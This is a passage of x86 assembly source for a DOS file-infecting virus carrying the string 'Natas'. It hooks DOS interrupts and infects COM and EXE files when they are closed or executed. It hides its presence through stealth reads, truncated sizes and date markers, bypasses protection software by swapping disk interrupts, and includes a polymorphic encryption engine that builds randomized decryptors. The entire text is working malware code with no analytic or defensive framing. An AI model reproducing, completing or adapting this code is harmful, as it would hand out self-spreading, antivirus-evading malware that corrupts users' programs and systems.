sbb bx,si ; in virus now?
pop bx ax
jnc read_into
xor cx,cx ; read 0 bytes
jmp read_fake
read_into: add dx,cx
adc si,0 ; get position after read
cmp bx,si ; read extends into virus?
ja read_fake
jb read_adjust
cmp ax,dx
jnb read_fake
read_adjust: sub dx,cx ; get position again
xchg cx,ax
sub cx,dx ; # of bytes to read = Original size - Pos
read_fake: mov ah,3fh
mov dx,ss:[bp.reg_dx]
add dx,cs:read_bytes
mov ds,ss:[bp.reg_ds]
call call_21_file ; read file
jc read_exit
add ax,0
read_bytes = word ptr $ - 2
clc
read_exit: call save_returns
jmp retf_21
is_write: cmp ah,40h ; write?
je do_write
no_write: jmp is_infect
do_write: call get_dcb
jbe no_write
les ax,ds:[di.dcb_size] ; get file size
mov bx,es
sub ax,18h
sbb bx,0 ; get header position
xchg ax,word ptr ds:[di.dcb_pos]
xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
push ax bx
mov ax,2
xchg ax,ds:[di.dcb_mode] ; read/write mode
push ax
push ds cs
pop ds es
call read_header ; read 18h bytes
pop es:[di.dcb_mode] ; restore access mode
jc write_rest_pos
mov word ptr es:[di.dcb_pos],ax
mov word ptr es:[di.dcb_pos+2],ax ; lseek to start
call write_header ; write old header
jc write_rest_pos
push es
pop ds
sub word ptr ds:[di.dcb_size],file_size
sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus
sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years
write_rest_pos: pop word ptr es:[di.dcb_pos+2]
pop word ptr es:[di.dcb_pos]
jmp jump_21
is_infect: cmp ah,3eh ; Close?
je infect_3e
cmp ax,4b00h ; Execute?
je infect_4b
jmp jump_21
infect_4b: mov ax,3d00h ; Open file
cmp ax,0
org $ - 2
infect_3e: mov ah,45h ; Duplicate handle
call int_2_bios ; lock out protection programs
call call_21_file ; get handle
mov cs:handle,ax
mov ax,4408h
cwd
jc undo_bios
call get_dcb ; get DCB for handle
jb cant_infect
jne cant_infect ; error/already infected
mov bl,00111111b
and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
mov dl,bl ; DX=00**
inc bx ; 0=default,1=a,2=b,3=c,etc.
call call_21 ; drive removable?
mov cx,1h
push cs
pop es
jc test_prot_drive
dec ax ; 1=non-removable
jz no_protect
jmp test_protect
test_prot_drive:cmp dl,1 ; A or B?
ja no_protect
test_protect: mov ax,201h
mov bx,offset disk_buff
int 13h ; read sector
jc cant_infect
mov ax,301h
int 13h ; write it back
jc cant_infect
no_protect: inc cx ; CX=2
xchg cx,ds:[di.dcb_mode] ; read/write access mode
push cx
xor ax,ax
xchg ah,ds:[di.dcb_attr] ; attribute=0
test ah,00000100b ; system file?
push ax
jne cant_system
cbw
cwd
xchg ax,word ptr ds:[di.dcb_pos]
xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
push ax dx
mov bp,-'OC'
add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO
jnz not_com
mov bp,-'MO'
add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
not_com: call infect
pushf
call get_dcb
popf
jc not_infected
add byte ptr ds:[di.dcb_date+1],years ; add 100 years
not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
pop word ptr ds:[di.dcb_pos+2]
pop word ptr ds:[di.dcb_pos]
cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute
pop ds:[di.dcb_mode] ; restore access mode
cant_infect: mov ah,3eh
call call_21_file ; close file
undo_bios: call int_2_bios ; restore interrupts
;=====( Jump on to int 21h )=================================================;
jump_21: call undo_24 ; unhook int 24h
push cs
pop ds
mov al,1h
mov di,offset int_1
cmp byte ptr ds:[di+origin-int_1],al ; file origin?
jne jump_21_1
call get_int ; get int 1h address
mov ds:[di],bx
mov ds:[di + 2],es
mov byte ptr ds:[di+inst_count-int_1],5
mov ds:trace_mode,step_21
mov dx,offset tracer
call set_int ; hook int 1h
call pop_all
push si
pushf
pop si
call si_tf ; set TF
pop si
go_21: cli
mov ss,cs:int_21_ss
mov sp,cs:int_21_sp ; restore stack
sti
go_2_21: jmp cs:int_21
jump_21_1: call pop_all
jmp go_21
;=====( actual infection routine )===========================================;
infect: push cs
pop ds
call read_header ; read first 18h bytes
jc inf_bad_file
mov si,dx
mov di,offset work_header
cld
rep movsb ; copy header to work_header
call get_dcb
les ax,ds:[di.dcb_size] ; get file size
mov dx,es
mov word ptr ds:[di.dcb_pos],ax
mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end
push cs cs
pop es ds
mov cx,ds:[si] ; get first 2 bytes
cmp cx,'MZ' ; .EXE file?
je inf_exe
cmp cx,'ZM' ; .EXE file?
je inf_exe
or dx,bp ; COM file and < 64k?
jnz inf_bad_file
cmp ax,0-(file_size+100)
ja inf_bad_file
cmp ax,1000
jb inf_bad_file
mov byte ptr ds:[si],0e9h ; build jump
inc ah ; Add PSP size (100h)
push ax ; save IP for engine
add ax,offset decrypt-103h ; get jump disp. (- PSP size)
mov ds:[si+1],ax
jmp append_vir
inf_bad_file: stc
retn
inf_exe: cmp word ptr ds:[si.eh_max_mem],-1
jne inf_bad_file
mov bp,ax
mov di,dx ; save size in DI:BP
mov cx,200h
div cx ; divide into pages
or dx,dx ; Any remainder?
jz no_round
inc ax
no_round: sub ax,ds:[si.eh_size] ; size same as header says?
jne inf_bad_file
sub dx,ds:[si.eh_modulo]
jne inf_bad_file
mov ax,file_size ; virus size
add ax,bp
adc dx,di ; + program size
div cx ; / 512
or dx,dx ; round up?
jz no_round1
inc ax
no_round1: mov ds:[si.eh_size],ax
mov ds:[si.eh_modulo],dx ; set new size
mov bx,0-(file_size+1000)
xor cx,cx
get_exe_ip: cmp bp,bx ; make sure virus does not
; cross segments
jb got_exe_ip
sub bp,10h ; down 10h bytes
loop get_exe_ip ; up 1 paragraph
got_exe_ip: cmp di,0fh
ja inf_bad_file
xchg cx,ax
mov cl,4
ror di,cl ; get segment displacement
or ax,ax
jz no_para_add
sub di,ax ; Add segments from LOOP
jnc inf_bad_file
no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in
; paragraphs
push bp ; save offset of v_start
add bp,decrypt-v_start
mov ds:[si.eh_ip],bp ; set IP
mov ds:[si.eh_cs],di ; set CS
add bp,512 ; 512 bytes of stack
mov ds:[si.eh_sp],bp ; set SP
mov ds:[si.eh_ss],di ; set SS
mov bp,8000h ; Tell engine "Exe file"
sar bx,cl ; 0 - ((file_size+1000h)/16)
mov ax,ds:[si.eh_min_mem]
sub ax,bx ; add file_size+1000h/16
jnb append_vir
mov ds:[si.eh_min_mem],ax
append_vir: pop ax
call engine ; encrypt/write/decrypt
push bp
popf
jc append_vir_err
call get_dcb
mov word ptr ds:[di.dcb_pos],cx
mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start
mov ah,40h
mov dx,offset work_header
push cs
pop ds
call header_op ; write new header to file
append_vir_err: retn
;=====( Get DCB address for file )===========================================;
get_dcb: push ax bx
mov ax,1220h
mov bx,cs:handle ; get file handle
int 2fh ; get DCB number address
jc get_dcb_fail
mov ax,1216h
mov bl,es:[di] ; get DCB number
cmp bl,-1 ; Handle Openned?
cmc
je get_dcb_fail
int 2fh ; get DCB address
jc get_dcb_fail
push es
pop ds
test byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
cmc
jne get_dcb_fail
test byte ptr ds:[di.dcb_date+1],80h ; infected?
get_dcb_fail: pop bx ax
retn
;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
int_2_bios: push ax bx dx ds
mov al,13h ; int 13h
mov di,offset int_13
int_2_bios_lp: push cs
pop ds
call get_int ; get int address
mov dx,es
xchg bx,ds:[di] ; swap offsets
cld
scasw
xchg dx,bx
xchg bx,ds:[di] ; swap segments
scasw
mov ds,bx ; DS:DX=new address
call set_int ; set int to DS:DX
cmp al,15h
mov al,15h
jnb int_2_bios_40 ; CY AL=13h
add di,4
jmp int_2_bios_lp
int_2_bios_40: mov al,40h
je int_2_bios_lp ; ZR AL=15h else AL=40h, exit
pop ds dx bx ax
retn
;=====( Read/write header to file )==========================================;
read_header: mov ah,3fh
cmp ax,0
org $ - 2
write_header: mov ah,40h
mov dx,offset header
header_op: mov cx,18h
call call_21_file ; read/write header
jc read_write_err
sub ax,cx
read_write_err: retn
;=====( Unhook int 24h )=====================================================;
undo_24: mov al,24h
lds dx,cs:int_24
call set_int ; unhook int 24h
in al,21h
and al,not 2 ; enable keyboard
out 21h,al
retn
;=====( Save returns after int 21h call )====================================;
save_returns: mov ss:[bp.reg_ax],ax
pushf
pop ss:[bp.reg_f]
retn
;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
is_specialfile: push ax cx si di es
mov al,0
check_special = byte ptr $ - 1
or al,al ; Check for special?
jnz it_is_special
call get_psp ; get MCB of current PSP
mov ax,es:[di] ; get 1st 2 letters of name
cmp ax,'RA' ; ARj?
je it_is_special
cmp ax,'HL' ; LHa?
je it_is_special
cmp ax,'KP' ; PKzip?
je it_is_special
mov cx,2
mov si,offset backup
is_it_mod_bak: push cx di
mov cl,8
lods byte ptr cs:[si] ; get 'B' or 'M'
xor al,66h + 6h ; decrypt
repne scasb
jne is_it_mod
cmp cl,3
jb is_it_mod
mov cl,4
is_ode_ack: lods byte ptr cs:[si]
xor al,66h + 6h
jz is_it_mod ; 0 (done)?
scasb
loope is_ode_ack
is_it_mod: mov si,offset modem
pop di cx
loopne is_it_mod_bak
it_is_special: pop es di si cx ax
retn
backup: db 'B' xor (66h + 6h)
db 'A' xor (66h + 6h)
db 'C' xor (66h + 6h)
db 'K' xor (66h + 6h)
db 0 xor (66h + 6h)
modem: db 'M' xor (66h + 6h)
db 'O' xor (66h + 6h)
db 'D' xor (66h + 6h)
db 'E' xor (66h + 6h)
db 'M' xor (66h + 6h)
;=====( get current PSP segment )============================================;
get_psp: push ax bx
mov ah,62h
call call_21 ; get PSP segment
dec bx
mov es,bx ; MCB of current program
mov di,8h ; offset of file name
cld
pop bx ax
retn
;=====( Get DTA address )====================================================;
get_dta: mov ah,2fh
call call_21 ; DTA address into ES:BX
push es
pop ds
retn
call_dos_13: call swap_13
pushf
call cs:dos_13
call swap_13
retn
call_disk: test dl,80h ; ZF -> Floppy disk (int 40h)
je call_40
call_13: pushf
call cs:int_13
retn
call_21_file: mov bx,0
handle = word ptr $ - 2
call_21: pushf
push cs
call go_2_21
retn
call_40: pushf
call cs:int_40
retn
include eng.asm
db "Natas",0
even
decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS
mov byte ptr ds:[102h],0e8h ; CALL
jmp file_start
org decrypt + 150
header dw 18h / 2 dup(20cdh)
file_end:
work_header dw 18h / 2 dup(?)
write_buff: db encode_end-encode dup(?)
int_21_ss dw ?
int_21_sp dw ?
dw 256 / 2 dup(?)
temp_stack:
jump_code_13 db 5 dup(?)
jump_code_21 db 5 dup(?)
int_1 dd ?
int_24 dd ?
int_13 dd ?
dos_13 dd ?
int_15 dd ?
int_40 dd ?
int_21 dd ?
new_24: db 3 dup(?)
push_pop_ret dw ?
pointer dw ?
disp dw ?
encode_ptr dw ?
encode_enc_ptr dw ?
key_reg db ?
count_reg db ?
ptr_reg db ?
ptr_reg1 db ?
modify_op db ?
origin db ?
inst_count db ?
disk_buff db 512 dup(?)
v_end:
;=====( Very useful structures )=============================================;
;=====( Memory Control Block structure )=====================================;
mcb struc
mcb_sig db ? ; 'Z' or 'M'
mcb_owner dw ? ; attribute of owner
mcb_size dw ? ; size of mcb block
mcb_name db 8 dup(?) ; file name of owner
mcb ends
;=====( For functions 11h and 12h )==========================================;
Directory STRUC
DS_Drive db ?
DS_Name db 8 dup(0)
DS_Ext db 3 dup(0)
DS_Attr db ?
DS_Reserved db 10 dup(0)
DS_Time dw ?
DS_Date dw ?
DS_Start_Clust dw ?
DS_Size dd ?
Directory ENDS
;=====( for functions 4eh and 4fh )==========================================;
DTA STRUC
DTA_Reserved db 21 dup(0)
DTA_Attr db ?
DTA_Time dw ?
DTA_Date dw ?
DTA_Size dd ?
DTA_Name db 13 dup(0)
DTA ENDS
Exe_Header STRUC
EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo dw ? ; remainder of file size/512
EH_Size dw ? ; file size/512
EH_Reloc dw ? ; Number of relocation items
EH_Size_Header dw ? ; Size of header in paragraphs
EH_Min_Mem dw ? ; Minimum paragraphs needed by file
EH_Max_Mem dw ? ; Maximum paragraphs needed by file
EH_SS dw ? ; Stack segment displacement
EH_SP dw ? ; Stack Pointer
EH_Checksum dw ? ; Checksum, not used
EH_IP dw ? ; Instruction Pointer of Exe file
EH_CS dw ? ; Code segment displacement of .exe
eh_1st_reloc dw ? ; first relocation item
eh_ovl dw ? ; overlay number
Exe_Header ENDS
Boot_Sector STRUC
bs_Jump db 3 dup(?)
bs_Oem_Name db 8 dup(?)
bs_Bytes_Per_Sector dw ?
bs_Sectors_Per_Cluster db ?
bs_Reserved_Sectors dw ?
bs_FATs db ? ; Number of FATs
bs_Root_Dir_Entries dw ? ; Max number of root dir entries
bs_Sectors dw ? ; number of sectors; small
bs_Media db ? ; Media descriptor byte
bs_Sectors_Per_FAT dw ?
bs_Sectors_Per_Track dw ?
bs_Heads dw ? ; number of heads
bs_Hidden_Sectors dd ?
bs_Huge_Sectors dd ? ; number of sectors; large
bs_Drive_Number db ?
bs_Reserved db ?
bs_Boot_Signature db ?
bs_Volume_ID dd ?
bs_Volume_Label db 11 dup(?)
bs_File_System_Type db 8 dup(?)
Boot_Sector ENDS
Partition_Table STRUC
pt_Code db 1beh dup(?) ; partition table code
pt_Status db ? ; 0=non-bootable 80h=bootable
pt_Start_Head db ?
pt_Start_Sector_Track dw ?
pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
pt_End_Head db ?
pt_End_Sector_Track dw ?
pt_Starting_Abs_Sector dd ?
pt_Number_Sectors dd ?
Partition_Table ENDS
int_1_stack STRUC
st_ip dw ? ; offset of next instruction after
; interrupt
st_cs dw ? ; segment of next instruction
st_flags dw ? ; flags when interrupt was called
int_1_stack ENDS
;----------------------------------------------------------------------------;
; Dcb description for DOS 3+ ;
; ;
; Offset Size Description ;
; 00h WORD number of file handles referring to this file ;
; 02h WORD file open mode (see AH=3Dh) ;
; bit 15 set if this file opened via FCB ;
; 04h BYTE file attribute ;
; 05h WORD device info word (see AX=4400h) ;
; 07h DWORD pointer to device driver header if character device ;
; else pointer to DOS Drive Parameter Block (see AH=32h) ;
; 0Bh WORD starting cluster of file ;
; 0Dh WORD file time in packed format (see AX=5700h) ;
; 0Fh WORD file date in packed format (see AX=5700h) ;
; 11h DWORD file size ;
; 15h DWORD current offset in file ;
; 19h WORD relative cluster within file of last cluster accessed ;
; 1Bh WORD absolute cluster number of last cluster accessed ;
; 0000h if file never read or written??? ;
; 1Dh WORD number of sector containing directory entry ;
; 1Fh BYTE number of dir entry within sector (byte offset/32) ;
; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ;
; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ;
; 2Fh WORD (SHARE.EXE) network machine number which opened file ;
; 31h WORD PSP segment of file's owner (see AH=26h) ;
; 33h WORD offset within SHARE.EXE code segment of ;
; sharing record (see below) 0000h = none ;
;----------------------------------------------------------------------------;
dcb struc
dcb_users dw ?
dcb_mode dw ?
dcb_attr db ?
dcb_dev_attr dw ?
dcb_drv_addr dd ?
dcb_1st_clst dw ?
dcb_time dw ?
dcb_date dw ?
dcb_size dd ?
dcb_pos dd ?
dcb_last_clst dw ?
dcb_current_clst dw ?
dcb_dir_sec dw ?
dcb_dir_entry db ?
dcb_name db 8 dup(?)
dcb_ext db 3 dup(?)
dcb_useless1 dw ?
dcb_useless2 dw ?
dcb_useless3 dw ?
dcb_psp_seg dw ?
dcb_useless4 dw ?
dcb ends
bpb STRUC
bpb_Bytes_Per_Sec dw ?
bpb_Sec_Per_Clust db ?
bpb_Reserved_Sectors dw ?
bpb_FATs db ? ; Number of FATs
bpb_Root_Dir_Entries dw ? ; Max number of root dir entries
bpb_Sectors dw ? ; number of sectors; small
bpb_Media db ? ; Media descriptor byte
bpb_Sectors_Per_FAT dw ?
bpb_Sectors_Per_Track dw ?
bpb_Heads dw ? ; number of heads
bpb_Hidden_Sectors dd ?
bpb_Huge_Sectors dd ? ; number of sectors; large
bpb_Drive_Number db ?
bpb_Reserved db ?
bpb_Boot_Signature db ?
bpb_Volume_ID dd ?
bpb_Volume_Label db 11 dup(?)
bpb_File_System_Type db 8 dup(?)
bpb ENDS
register struc
reg_es dw ?
reg_ds dw ?
reg_di dw ?
reg_si dw ?
reg_bp dw ?
reg_dx dw ?
reg_cx dw ?
reg_bx dw ?
reg_ax dw ?
reg_f dw ?
register ends
sys_file struc
sys_next dd ?
sys_strat dw ?
sys_int dw ?
sys_file ends
end
-----------------------------<>---------------------------------------
_ax equ 0
_cx equ 1
_dx equ 2
_bx equ 3
_sp equ 4
_bp equ 5
_si equ 6
_di equ 7
engine: mov ds:pointer,ax ; save IP
mov di,offset decrypt
mov bx,offset make_count
mov cx,offset make_key
mov dx,offset make_ptr
mov si,offset order_ret
or bp,11101111b ; SP is used
call order ; randomize and call registers
push di ; save start of loop
push di
mov si,offset encode
mov di,offset write_buff
mov cx,encode_end-encode
rep movsb ; copy write code
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
pop di
mov bx,offset make_enc
mov cx,offset make_keychange
mov dx,offset make_deccount
mov si,offset make_incptr
call order ; call routines
;=====( Preform loop )=======================================================;
mov ax,2
push ax
call random ; test BP for 4000?
pop ax
jz loop_no_test
test bp,4000h ; possible to just "Jcc"?
jnz loop_make_jcc
loop_no_test: call random
jz loop_no_test1
test bp,2000h ; use loop?
jnz loop_make_jcc
loop_no_test1: or bp,800h ; do not change flags
mov ax,2
cwd
call random ; try OR/AND/TEST reg,reg
; or XOR/ADD/OR/SUB reg,0?
mov al,ds:count_reg ; get counter
jnz loop_orandtest
call boolean ; do XOR/OR/ADD or ADD/SUB?
jnz loop_modify
call add_reg ; ADD/SUB reg,0
jmp loop_make_jcc
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
jmp loop_make_jcc
loop_orandtest: mov cl,3
mov ch,al
shl ch,cl
or al,ch ; set reg1 as reg2 also
mov bx,2 ; OR/AND/TEST
call random_bx
jnz loop_and
or ax,9c0h ; OR reg1, reg2
loop_reverse: call boolean ; use 9 or 11?
jnz loop_orandteststo
or ah,2h ; reg2, reg1
jmp loop_orandteststo
loop_and: dec bx
jnz loop_test
or ax,21c0h ; AND reg1, reg2
jmp loop_reverse
loop_test: or ax,85c0h ; TEST reg1, reg2
loop_orandteststo:
xchg al,ah
stosw ; store TEST/OR/AND
or bp,1800h ; do not change flags/
; test stored
call garble
loop_make_jcc: and bp,not 800h
test bp,2000h ; code loop?
jz loop_make_jump
mov al,0e2h ; LOOP
test bp,1000h ; possible to use LOOPNZ/Z?
jz loop_code_disp
call boolean
jnz loop_code_disp
dec ax ; LOOPZ
call boolean
jnz loop_iscx
dec ax ; LOOPNZ
jmp loop_code_disp
;=====( Now make conditional jump )==========================================;
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
loop_make_jump: mov bx,offset jcc_tbl
mov ax,3
call random
xlat ; get Conditional jump
mov bx,2
call random_bx ; use JE/JS/LE/L then JMP?
jnz loop_code_disp
cmp ds:count_reg,_cx ; CX is counter?
jnz loop_notcx
mov bl,4
call random_bx
jnz loop_notcx
mov al,0e3h + 1 ; JCXZ + 1
loop_notcx: dec ax
loop_iscx: stosw
cmp al,07fh ; Jcxz/loopz?
ja loop_code_short
call boolean ; Use opposite or EB?
jnz loop_code_short
or bp,800h ; dont change flags
loop_code_short:mov si,di ; save offset of displacement
call garble
lea ax,ds:[si-2]
sub ax,di
neg al ; get jump displacement
mov ds:[si-1],al ; save it
test bp,800h ; Dont change flags -> "Jcc"
mov al,0ebh ; Jmp short
je loop_code_disp
mov ax,3
call random
mov bx,offset jcc_tbl
xlat ; Get JNE/JNS/JG/JGE
loop_code_disp: stosb ; store jump
pop ax ; start of loop
dec ax
sub ax,di ; get loop displacement
stosb
or bp,11101111b ; free all registers
and bp,not 800h ; allow flags to change
call garble
mov ax,19
call random ; 1 in 20 chance of non-jmp
jnz loop_code_jmp
mov ax,ds:pointer
add ax,offset file_start ; where to jump
xchg dx,ax
call get_reg ; get a register
call mov_reg ; Mov value into register
or ax,0ffc0h + (4 shl 3) ; JMP reg16
call boolean ; PUSH/RET or JMP reg16?
jnz loop_code_push
xchg al,ah
jmp loop_code_stosw
loop_code_push: mov bx,2
call random_bx ; 1 in 3 chance of FF /6 PUSH
jnz loop_code_push1
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
xchg al,ah
stosw
jmp loop_code_ret
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
stosb
loop_code_ret: call garble
mov al,0c3h ; RETN
stosb
jmp loop_code_end
loop_code_jmp: mov al,0e9h
stosb ; Store Jump
lea ax,ds:[di-((file_start-2)-v_start)]
neg ax ; Jmp file_start
loop_code_stosw:stosw
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
cmp di,offset header ; Decryptor is too large?
jb go_write_buff
stc ; return error
pushf
pop bp
retn
go_write_buff: jmp write_buff ; encrypt/write/decrypt
;=====( Inc pointer )========================================================;
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
mov dx,2 ; ADD ptr,2
cmp ah,-1 ; two registers used?
jz make_incptr_1
call boolean ; do one or both?
jnz make_incptr_do1
dec dx ; ADD ptr,1
call make_incptr_do1
jmp make_incptr_2
make_incptr_do1:call boolean
jnz make_incptr_1
make_incptr_2: xchg al,ah
make_incptr_1: call add_reg
sub ds:disp,dx ; add to displacement
retn
;=====( Dec counter )========================================================;
make_deccount: cmp si,offset make_deccount ; last operation?
jnz make_deccount_notlast
call boolean ; do it?
jnz make_deccount_notlast
or bp,4800h ; remember we're last
make_deccount_notlast:
mov al,ds:count_reg
cmp al,_cx ; possible to use LOOP/LOOPNZ?
jnz make_deccount_notcx
call boolean
jnz make_deccount_notcx
or bp,2000h ; do LOOP
jmp make_deccount_exit
make_deccount_notcx:
mov dx,-1 ; ADD counter,-1
call add_reg
make_deccount_exit:
or bp,400h ; deccount executed
retn
;=====( Make encryption instruction )========================================;
make_enc: push bp
and bp,not 400h
mov al,ds:key_reg
push ax ; save key register
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
call random
mov bx,0105h ; ADD [DI],AX
mov cx,1119h ; ADC/SBB
mov dx,2905h ; SUB [DI],AX
jz make_enc_add
dec ax
jz make_enc_sub
dec ax
jnz make_enc_ror
mov bh,31h ; XOR
mov dx,3105h ; XOR [DI],AX
jmp make_enc_sto
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
jne make_enc_which
or bp,400h ; Put XCHG CX,AX
mov bh,0d3h
mov dx,0d30dh ; ROL
dec ax
jz r_make_enc_sto
xchg bx,dx ; ROR
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
; D3 00 = ROL [],CL
jmp make_enc_sto
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
xchg cl,ch ; SBB/ADC
make_enc_add: call boolean ; do Carry?
jnz make_enc_sto
push bx
mov bh,ch ; Make it ADC/SBB
call clear_carry
cmp al,0
org $ - 1
make_enc_sto: push bx
test bp,8000h ; EXE file?
jz make_enc_com
call is_bp_ptr ; is BP a pointer?
je make_enc_com
mov al,2eh ; CS:
call boolean
jnz make_enc_cs
mov al,36h ; SS:
make_enc_cs: stosb ; store segment override
make_enc_com: mov al,bh
stosb ; store instruction
mov ax,word ptr ds:ptr_reg ; get pointer registers
cmp ah,-1 ; second reg?
je make_enc_xlat
add al,ah
make_enc_xlat: mov bx,offset rm_tbl
xlat ; get r/m
call is_bp_ptr ; is BP a pointer?
jnz make_enc_nobp
inc ah ; is there a second reg?
jne make_enc_nobp
or al,01000000b ; [BP+xx]
make_enc_nobp: mov cx,ds:disp ; get displacement
mov bx,6
call random_bx ; allow no displacement?
jz make_enc_get_disp
jcxz make_enc_sto_rm
make_enc_get_disp:
or al,01000000b ; 8bit displacement
call boolean ; allow 8bit displacement?
jnz make_enc_16bit
cmp cx,7fh ; 8bit displacement?
jbe make_enc_sto_rm
cmp cx,-80h
jb make_enc_16bit
xor ch,ch
cmp ax,0
org $ - 2
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
make_enc_sto_rm:mov ah,ds:key_reg
shl ah,1
shl ah,1
shl ah,1 ; from bits 0-2 of AH
or al,ah ; to bits 3-5 of AL
stosb ; store r/m byte
test al,11000000b ; any displacement?
jz make_enc_disp
test al,10000000b ; 16bit displacement?
xchg cx,ax
stosw ; store displacement
jnz make_enc_disp
dec di ; 8bit only
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
test bp,400h ; store XCHG CX,AX?
je make_enc_nor
mov al,91h ; XCHG CX,AX
stosb
make_enc_nor: xchg dx,ax
xchg al,ah
mov ds:encode_enc_ptr,di ; save instruction pointer
stosw ; set encryption instruction
je make_enc_nor1
mov al,91h ; XCHG CX,AX
stosb
make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
pop ax
xchg al,ah
mov word ptr ds:write_buff[encode_flip-encode],ax
; save opposite operation
pop ax
mov ds:key_reg,al ; restore key register
pop bp
retn
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
;=====( Change key )=========================================================;
make_keychange: call boolean ; change key?
jnz make_keychange_yes
retn
make_keychange_yes:
push bp
or bp,200h ; let know that keychange
mov ax,3
call random ; 1 in 4 chance of modify_reg
jnz keychange_other
call random_1
xchg dx,ax ; Random value to modify key
; reg by
mov al,ds:key_reg
call modify_reg ; XOR/ADD/OR
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
inc di ; CLC
mov al,ds:modify_op ; get operation
stosb
keychange_stodx:xchg dx,ax ; store value/operation
keychange_sto: stosw
xchg di,ds:encode_ptr ; get decrypt pointer
pop bp
retn
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
call random
jnz keychange_rol
mov ax,0d1c0h ; ROR AX,1
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
call random_bx
jnz keychange_nocl
cmp ds:count_reg,_cx ; Count is CX?
jne keychange_nocl
test bp,400h ; Count already decremented?
jnz keychange_nocl
or ah,2 ; By CL
keychange_nocl: xchg al,ah
push ax
or ah,ds:key_reg ; set key register
stosw ; store instruction
pop ax
xchg di,ds:encode_ptr ; get encode ptr
jmp keychange_sto
keychange_rol: dec ax
jnz keychange_not
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
jmp keychange_cl
keychange_not: dec ax
jnz keychange_neg
mov ax,0f7c0h + (2 shl 3) ; NOT AX
jmp keychange_nocl
keychange_neg: dec ax
jnz keychange_add
mov ax,0f7c0h + (3 shl 3) ; NEG AX
jmp keychange_nocl
keychange_add: call random_1
xchg dx,ax
mov al,ds:key_reg ; get key register
call add_reg ; ADD reg(ax), value(dx)
jmp keychange_stoop
;=====( Build key )==========================================================;
make_key: call get_reg ; get register
xchg dx,ax
call random_1 ; get key
mov ds:key,ax ; save key
xchg dx,ax
mov ds:key_reg,al ; save register
call mov_reg ; MOV reg(ax),value(dx)
retn
;=====( Build counter )======================================================;
make_count: call get_reg ; get register
mov ds:count_reg,al ; save register
mov dx,(decrypt-v_start)/2 ; # of words to crypt
call mov_reg ; mov reg(ax),value(dx)
retn
;=====( Build Pointer )======================================================;
make_ptr: mov dx,ds:pointer
call get_ptr_reg ; get DI/SI/BP/BX
mov ds:ptr_reg,al
mov ds:ptr_reg1,-1
mov bx,3
call random_bx ; 1 in 4 chance of 2 regs
jnz make_ptr_2
cmp al,_si
mov bx,11000000b ; DI/SI
jb make_ptr_test
mov bl,00101000b ; BP/BX
make_ptr_test: test bp,bx ; 'other' availible?
jz make_ptr_2
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
push ax
call conv_num ; convert to bit-map number
test al,bl ; is it other type?
pop ax
jnz make_ptr_ok
call del_reg ; delete register
jmp make_ptr_again
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
mov bx,-1
call random_bx
sub dx,bx ; randomize values
xchg bx,dx
call mov_reg ; mov reg(ax), value(dx)
xchg bx,dx
mov al,ds:ptr_reg ; get first reg
make_ptr_2: xor bx,bx ; zero displacement
call boolean ; use one?
jnz make_ptr_nodisp
mov bx,-1
call random_bx
sub dx,bx ; subtract displacement
make_ptr_nodisp:mov ds:disp,bx ; save displacement
call mov_reg ; mov reg(ax), value(dx)
retn
;=====( Shell for mov_reg1 )=================================================;
mov_reg: push bx dx
mov bx,4
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
jnz mov_reg_call
mov bx,-1
call random_bx ; get random #
sub dx,bx ; MOV reg, value-random #
call mov_reg1 ; do MOV reg,
mov dx,bx
call add_reg ; Now add difference
pop dx bx
retn
mov_reg_call: pop dx bx
;=====( Mov reg(ax), value(dx) )=============================================;
mov_reg1: push ax bx cx dx
cbw
mov bx,2
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
jz mov_reg_other
mov bl,2
call random_bx ; 1 in 3 chance of c6/c7 MOV
jnz mov_reg_b0
or ax,0c7c0h ; MOV reg,imm
call boolean ; Do long MOV or LEA?
jnz mov_reg_c7
mov cl,3
shl al,cl ; Reg -> bits 3,4,5
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
mov_reg_c7: xchg al,ah
stosw ; store it
mov_reg_sto: xchg dx,ax
stosw ; store value
call garble
